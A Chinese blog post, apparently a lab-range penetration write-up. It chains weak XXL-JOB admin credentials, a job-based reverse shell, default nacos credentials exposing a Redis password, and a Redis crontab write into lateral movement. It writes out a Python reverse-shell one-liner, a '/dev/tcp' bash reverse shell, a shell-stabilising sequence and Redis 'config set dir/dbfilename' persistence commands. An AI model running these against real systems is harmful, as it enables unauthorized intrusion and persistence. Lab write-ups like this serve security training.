记一次靶场xxl-job利用

0x01 分布式任务调度平台XXL-JOB

扫描靶机列表时发现一个使用弱密码的xxl-job-admin页面

Snipaste_2025-06-19_10-51-29

这个任务调度中心是用来让远程机器执行命令的

点新增发现可以执行python和shell命令,这里先搞个反弹shell

Snipaste_2025-07-17_19-32-41

编辑shell脚本

PixPin_2025-10-10_18-48-39

创建任务后看一下其他任务得知这些正常运行的任务都在哪些机器上,然后把反弹shell任务发布到这台机器

PixPin_2025-10-10_21-22-08

成功上线

PixPin_2025-10-11_18-32-39

0x02 靶机 A

刚拿到的shell只是字符流,输个Ctrl+C停扫描器会直接把shell给断了,很不好用,给它升级一下先,输入

python -c 'import pty; pty.spawn("/bin/bash")'

然后按Ctrl+Z暂停回到本地shell输入

stty raw -echo
fg
# 等屏幕卡住之后输入
reset
export TERM=xterm
stty rows 40 columns 120

这样就能拿到可交互的shell了,但还没有持久化

所以用python的http服务器上传一个内存马持久化shell,然后传fscan扫一波

Snipaste_2025-06-19_17-26-26

直接就到192.168.0段了,扫出来有一台机器的6379端口是开放的,那就得试试redis了,但还不知道密码

继续看看同网段机器的web应用

发现有一个nacos平台,直接先试试默认的nacos/nacos,还真进去了,又是个弱口令

里面有很多敏感信息,翻一下发现存了一个redis用户名和口令

0x03 靶机 B

Ubuntu执行crontab用的是sh,软链接到dash而不是bash,所以不能用下面的bash命令反弹shell,可以用python或者写个.sh脚本用cron执行

例如

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('[你的IP]',[你的PORT]));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

拿刚刚看到的redis口令试一下,发现登录成功了,而且有写权限,那么就可以通过crontab来进行横向移动了

在redis-cli输入

# 写cron
set xx "\n* * * * * bash -i >& /dev/tcp/xxx/7789 0>&1\n"
# 设置目录
config set dir "/var/spool/cron"
# 设置文件名
config set dbfilename root
# 保存
save

用Tiny RDM登录可以看到刚刚写入的cron

PixPin_2025-10-10_21-40-30

在攻击机开监听,等到cron任务执行后拿到shell

PixPin_2025-10-10_21-58-55

同样上传内存马,看看网卡有没有其他网段

之后没什么特别的,就不必多说了

-EOF-
这篇文章的作者Shennoter祝你心情愉快ღゝ◡╹)ノ♡♪(^∇^)
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇